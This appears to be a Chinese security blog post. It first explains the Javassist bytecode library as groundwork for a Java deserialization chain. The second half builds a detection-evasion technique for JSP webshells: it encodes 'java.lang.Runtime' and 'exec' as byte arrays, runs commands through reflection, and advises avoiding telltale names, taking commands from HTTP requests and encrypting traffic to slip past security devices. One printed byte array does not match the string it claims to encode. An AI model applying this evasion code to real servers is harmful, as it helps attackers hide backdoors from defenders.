­

Java安全之Javassist動態編程

Java安全之Javassist動態編程

0x00 前言

在調試CC2鏈前先來填補知識盲區,先來了解一下Javassist具體的作用。在CC2鏈會用到Javassist以及PriorityQueue來構造利用鏈

0x01 Javassist 介紹

Java 位元組碼以二進位的形式存儲在 class 文件中,每一個 class 文件包含一個 Java 類或介面。Javaassist 就是一個用來處理 Java 位元組碼的類庫。

Javassist是一個開源的分析、編輯和創建Java位元組碼的類庫。

0x02 Javassist 使用

這裡主要講一下主要的幾個類:

ClassPool

ClassPool:一個基於哈希表(Hashtable)實現的CtClass對象容器,其中鍵名是類名稱,值是表示該類的CtClass對象(HashtableHashmap類似都是實現map介面,hashmap可以接收null的值,但是Hashtable不行)。

常用方法:

static ClassPool	getDefault()
	返回默認的類池。
ClassPath	insertClassPath(java.lang.String pathname)	
	在搜索路徑的開頭插入目錄或jar(或zip)文件。
ClassPath	insertClassPath(ClassPath cp)	
	ClassPath在搜索路徑的開頭插入一個對象。
java.lang.ClassLoader	getClassLoader()	
	獲取類載入器toClass(),getAnnotations()在 CtClassCtClass	get(java.lang.String classname)	
	從源中讀取類文件,並返回對CtClass 表示該類文件的對象的引用。
ClassPath	appendClassPath(ClassPath cp)	
	將ClassPath對象附加到搜索路徑的末尾。
CtClass	makeClass(java.lang.String classname)
	創建一個新的public

CtClass

CtClass表示類,一個CtClass(編譯時類)對象可以處理一個class文件,這些CtClass對象可以從ClassPoold的一些方法獲得。

常用方法:

void	setSuperclass(CtClass clazz)
	更改超類,除非此對象表示介面。
java.lang.Class<?>	toClass(java.lang.invoke.MethodHandles.Lookup lookup)	
	將此類轉換為java.lang.Class對象。
byte[]	toBytecode()	
	將該類轉換為類文件。
void	writeFile()	
	將由此CtClass 對象表示的類文件寫入當前目錄。
void	writeFile(java.lang.String directoryName)	
	將由此CtClass 對象表示的類文件寫入本地磁碟。
CtConstructor	makeClassInitializer()	
	製作一個空的類初始化程式(靜態構造函數)。

CtMethod

CtMethod:表示類中的方法。

CtConstructor

CtConstructor的實例表示一個構造函數。它可能代表一個靜態構造函數(類初始化器)。

常用方法

void	setBody(java.lang.String src)	
	設置構造函數主體。
void	setBody(CtConstructor src, ClassMap map)	
	從另一個構造函數複製一個構造函數主體。
CtMethod	toMethod(java.lang.String name, CtClass declaring)	
	複製此構造函數並將其轉換為方法。

ClassClassPath

該類作用是用於通過 getResourceAsStream() 在 java.lang.Class 中獲取類文件的搜索路徑。

構造方法:

ClassClassPath(java.lang.Class<?> c)	
	創建一個搜索路徑。

常見方法:

java.net.URL	find (java.lang.String classname)	
	獲取指定類文件的URLjava.io.InputStream	openClassfile(java.lang.String classname)	
	通過獲取類文getResourceAsStream()。

程式碼實例:

ClassPool pool = ClassPool.getDefault();

在默認系統搜索路徑獲取ClassPool對象。

如果需要修改類搜索的路徑需要使用insertClassPath方法進行修改。

pool.insertClassPath(new ClassClassPath(this.getClass()));

將本類所在的路徑插入到搜索路徑中

toBytecode

package com.demo;

import javassist.*;


import java.io.IOException;
import java.util.Arrays;

public class testssit {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(demo.class.getClass()));
        CtClass ctClass = pool.get("com.demo.test");
        ctClass.setSuperclass(pool.get("com.demo.test"));
//        System.out.println(ctClass);
        byte[] bytes = ctClass.toBytecode();
        String s = Arrays.toString(bytes);
        System.out.println(s);
    }

}

toClass

Hello類:
public class Hello {
    public void say() {
        System.out.println("Hello");
    }
}
Test 類
public class Test {
    public static void main(String[] args) throws Exception {
        ClassPool cp = ClassPool.getDefault();//在默認系統搜索路徑獲取ClassPool對象。
        CtClass cc = cp.get("com.demo.Hello");  //獲取hello類的
        CtMethod m = cc.getDeclaredMethod("say"); //獲取hello類的say方法
        m.insertBefore("{ System.out.println(\"Hello.say():\"); }");//在正文的開頭插入位元組碼
        Class c = cc.toClass();//將此類轉換為java.lang.Class對象
        Hello h = (Hello)c.newInstance(); //反射創建對象並進行強轉
        h.say();調用方法say
    }
}

0x03 一些小想法

按照我的理解來說就是可以去將類和位元組碼進行互相轉換。那麼按照這個思路來延申的話,我們可以做到什麼呢?我首先想到的可能就是webshell的一些免殺,例如說Jsp的最常見的一些webshell,都是採用RuntimeProcessBuilder這兩個類去進行構造,執行命令。按照WAF的慣性這些設備肯定是把這些常見的執行命令函數給拉入黑名單裡面去。那麼如果說可以轉換成位元組碼的話呢?位元組碼肯定是不會被殺的。如果說這時候將Runtime這個類轉換成位元組碼,內嵌在Jsp中,後面再使用Javassist來將位元組碼還原成類的話,如果轉換的幾個方法沒被殺的話,是可以實現過WAF的。當然這些也只是我的一些臆想,因為Javassist並不是JDK中自帶的,實現的話後面可以再研究一下。但是類載入器肯定是可以去載入位元組碼,然後實現執行命令的。這裡只是拋磚引玉,更多的就不細說了。如果有更好的想法也可以提出來一起去交流。

0x04 想法實現

這裡可以來思考一個問題,該怎麼樣才能動態傳入參數去執行呢?那能想到的肯定是反射。如果我們用上面的思路,把全部程式碼都轉換成位元組碼的話,其實就沒有多大意義了。因為全是固定死的東西,他也只會執行並且得到同一個執行結果。

我在這裡能想到的就是將部分在程式碼裡面固定死的程式碼給轉換成位元組碼,然後再使用反射的方式去調用。

public class test {
    public static void main(String[] args) {
        String string ="java.lang.Runtime";
        byte[] bytes1 = string.getBytes();
        System.out.println(Arrays.toString(bytes1));
        


    }
}

獲取結果:

[106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108]

現在已經是把結果給獲取到了,但是我們需要知道位元組碼怎麼樣還原為String類型。

在後面翻閱資料的時候,發現String的構造方法就直接能執行,來看看他的官方文檔。

使用bytes去構造一個新的String

程式碼:

public class test {
    public static void main(String[] args) {
        byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String s = new String(bytes);
        System.out.println(s);
    }
}

public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        String command = "ipconfig";


        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //獲取輸出的數據
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //位元組輸出流轉換為字元
        System.out.println(ipconfig);



    }
}

命令執行成功。

那麼這就是一段完整的程式碼,但是還有些地方處理得不是很好,比如:

 Method exec = aClass.getMethod("exec", String.class);

這裡是反射獲取exec方法,這裡的exec是固定的。exec這個對於一些設備來說也是嚴殺的。

那麼在這裡就可以來處理一下,也轉換成位元組碼。

轉換後的位元組碼:

[101, 120, 101, 99]

改進一下程式碼:

public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        String command = "ipconfig";
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        byte[] b2 = new byte[]{101, 120, 101, 99};
        String cm = new String(b2);
        


        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod(cm, String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //獲取輸出的數據
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //位元組輸出流轉換為字元
        System.out.println(ipconfig);

    }
}

實際中運用就別用啥ipconfigcommand這些來命名了,這些都是一些敏感詞。這裡只是為了方便理解。

在真實情況下應該是request.getInputStream()來獲取輸入的命令的。那麼這裡也還需要注意傳輸的時候進行加密,不然流量肯定也是過不了設備的。

0x05 結尾

其實後面這些內容是跑偏題了,因為是後面突然才想到的這麼一個東西。所以將他給記錄下來。